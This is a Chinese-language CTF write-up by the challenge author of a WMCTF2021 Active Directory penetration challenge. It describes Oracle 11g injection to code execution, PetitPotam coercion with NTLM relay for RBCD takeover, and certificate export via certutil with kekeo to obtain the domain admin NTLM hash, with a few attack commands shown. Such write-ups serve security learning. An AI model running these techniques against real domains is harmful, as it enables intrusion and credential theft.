WMCTF2021 Pentest
2022-2-10 18:22:6 Author: www.secpulse.com(查看原文) 阅读量:27 收藏

为WMCTF2021出了个域渗透的题目,一直想着写wp ,可惜拖来拖去还是没写。正好最近闲下来有空。也忘了自己的步骤是什么样的了,当复盘学习了。

环境已经公开,想要复现的师傅可以移步博客获取网盘链接。

考点

1.Oracle 11g 11.2.0.1.0 注入 + 代码执行2.Rpc To Rce3.AD证书滥用导致的域内获取域管ntlm

出题思路

七月的时候接到出题任务,想着出一个域题目。最开始的出题思路

后来觉得这种考点对于短时间CTF的比赛来说有些复杂。且多人攻击起来有些困难。遂放弃。

loong716师傅交流了一会儿,看了specterops发布的关于Active Directory 证书服务相关漏洞的白皮书

具体可移步

https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

对于7月左右的时间段,关于Active Directory证书的攻击在国内还很少见,复现后决定以该思路为考点搭建环境。之后又在 GITHUB发现了开启WEBCLIENT服务导致的域内委派RCE

Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_[1]). This requires a set of credentials for the RPC call.Relaying that machine authentication to LDAPS for configuring RBCDRBCD takeover

中继LDAP服务器,使用 RPC 通过 HTTP 触发对中继的机器身份验证,从而写入机器账户使用psexec提权到域管

解题

Internet

172.16.196.151 / 10.233.71.100 (wmteaminternet1)

这里开局只有一个登录框,通过Wappalyzer可以识别到指纹是JAVA,测试后发现后端数据库是ORACLE(这里SQLMAP也能跑,但是当时给了hint为ORACLE,且已知是域,应该能想到是通过注入RCE,巨大的SQLMAP流量把tomcat打崩了好几次QAQ)

通过资料查找,很容易找到关于ORACLE命令执行的相关例子。但网上大多是ORACLE10g 9g, 对于ORACLE 11g命令执行的例子也大多是复制粘贴的Linux环境,在出题的时候也踩了很多坑。做题的很多师傅们在交流过程中发现基本都是用LINUX的ORACLE Docker来测试。出现了本地通了远程不通的问题。

由于题目放的比较晚,所以将注入的黑名单直接放了,防止过多的fuzz与脑洞。


放题晚上12点左右,yyzEki师傅已经构造出了基本正确的Payload,且yyz师傅已经成功ping通dnslog。可惜等到凌晨四点还是没有出。也有可能是没有进行本地测试的缘故 导致了出现小问题。

这里由于涉及到的点比较多。会另开一篇文章讲注入的过程。

成功注入后,会发现有杀毒。编写免杀即可上线。(这里也可以采取盲注的方式注入出桌面的flag文件)

Arrebol

10.233.71.60 (wmteamarrebol)

通过对域内信息收集,很容易发现浏览器访问了域内的ADCS证书服务WEB界面。且flag中含有下一题目的提示,搜集域内信息。

很容易想到攻击方式

首先通过入口的web建立内网代理就不说了

由于要 ntlmrelayx 需要复用端口,通过PortBender等工具做端口复用。建立好设置

通过Invoke-DNSUpdate 将我们攻击机设置hostname


使用PetitPotam.exe攻击

PS C:Usersinternet.WMTEAMDesktop> .PetitPotam.exe [email protected]/1.txt 
10.233.71.60
Usage: PetitPotam.exe <captureServerIP> <targetServerIP>Attack success!!!

攻击机启动ntlmrelayx


这时候我们就有一个高权限的机器账户了 使用机器账户申请TGT/ST票据


直接psexec链接即可


DC

(10.233.71.10)

通过远程登录到Arrebol机器的桌面

在证书中发现了Administrator用户的证书文件


而该文件的预期目的正好是加密文件系统、客户端身份验证、安全电子邮件,而

1、客户端认证

2、PKINIT 客户端身份验证

3、智能卡登录

4、任何目的

5、子CA

可以使用证书进行kerberos认证。正好符合

我们使用>certutil -user -store My来查看个人证书的sha1 方便导出


通过

certutil -user -exportPFX f809b4975d1698baeded0c98cb40cccbbef39955 c:UsersarrebolDesktoptest1.pfx

命令带私钥导出证书


把证书下载到本地。将本地windows代理到内网 本地DNS设置成域控ip

使用kekeo获取用户的NTLM


成功获取到域控的ntlm

使用psexec横向即可

总结

感觉中间部分的webclient服务并不太好想到。而且题目说实话放的确实晚了一些,影响了师傅们的做题体验,这里给师傅们赔个不是。还希望大家能从中学到一些新知识。

文章中许多解释存在不合适/不正确的地方还请各位师傅多多指出。

References

[1] demonstrated by @tifkin_: https://twitter.com/tifkin_/status/1418855927575302144?s=20

本文作者:白帽100安全攻防实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/173263.html


文章来源: https://www.secpulse.com/archives/173263.html
如有侵权请联系:admin#unsafe.sh